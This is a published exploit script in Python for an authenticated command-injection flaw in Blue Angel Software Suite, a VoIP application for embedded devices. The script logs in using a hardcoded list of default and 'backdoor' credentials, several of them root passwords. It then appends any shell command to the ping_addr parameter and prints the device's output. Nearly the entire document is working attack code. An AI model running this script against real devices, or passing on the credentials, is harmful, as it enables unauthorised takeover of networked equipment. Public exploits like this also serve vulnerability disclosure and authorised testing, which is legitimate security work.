Blue Angel Software Suite Command Execution

`# Exploit Title: Blue Angel Software Suite - Authenticated Command Execution  
# Google Dork: N/A  
# Date: 02/05/2019  
# Exploit Author: Paolo Serracino   
# Vendor Homepage: http://www.5vtechnologies.com  
# Software Link: N/A  
# Version: All  
# Tested on: Embedded Linux OS  
# CVE : N/A  
# Description: Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services is vulnerable to an authenticated   
# command execution in ping command. All default accounts can be used to login and achieve command execution, including the guest one.   
# Moreover there's another account, defined in the local file device.dat, that provides an apparently "backdoor" account.  
# A list of these accounts is hardcoded in the script.  
  
#/usr/bin/python  
import sys  
import requests  
  
  
def check_sw(target,port):  
  
res = requests.get(target + ':' + port)  
  
if '/cgi-bin/webctrl.cgi?action=index_page' in res.text:  
return True  
else:  
print "[-] DOES NOT LOOK LIKE THE PAGE WE'RE LOOKING FOR"  
return False  
  
def check_login(target,port,command):  
  
if not check_sw(target,port):  
sys.exit()  
  
creds_common = [('blueangel','blueangel'), #the "backdoor" account  
('root','abnareum10'),  
('root','Admin@tbroad'),  
('root','superuser'),  
('user','user') ,  
('guest','guest'),  
]  
  
for i in range(len(creds_common)):  
postdata=[('action','login_authentication'),  
('redirect_action','sysinfo_page'),  
('login_username',creds_common[i][0]),  
('login_password',creds_common[i][1]),  
('B1','Login')  
]  
  
res = requests.post(target + ':' + port + '/cgi-bin/webctrl.cgi',data=postdata)  
  
if 'Set-Cookie' in res.headers:  
cookie = res.headers.get('Set-Cookie')  
print '[+] LOGGED IN WITH CREDENTIALS ' + str(creds_common[i][0] + ' : ' + creds_common[i][1])   
execute_cmd(target,port,cookie,command)   
return True  
  
  
def execute_cmd(target,port,cookie,cmd):  
  
print '[+] EXECUTING COMMAND'  
new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',  
'Referer': target,  
'Cookie': cookie  
})  
res = requests.get(target + ':' + port + '/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;' + cmd + '&B1=PING',headers=new_headers)  
res_lines = res.text.splitlines()  
result = []  
copy = False  
  
for line in res_lines:  
  
if 'round-trip min/avg/max' in line:  
copy = True  
elif '</pre></body></html>' in line:   
copy = False  
elif copy == True:  
result.append(line)  
  
print('[+] COMMAND RESPONSE')  
print('------------------------------------------')  
  
for r in result:  
print r  
print('------------------------------------------')  
  
  
def main():  
  
if len(sys.argv) < 4:  
print '[-] 3 ARGS: TARGET PORT SHELL_COMMAND'  
sys.exit()  
  
target = sys.argv[1]   
port = sys.argv[2]  
command = sys.argv[3]  
if not check_login(target,port,command):  
print '[-] COULD NOT FIND VALID CREDENTIALS'  
  
if __name__ == "__main__":  
main()  
`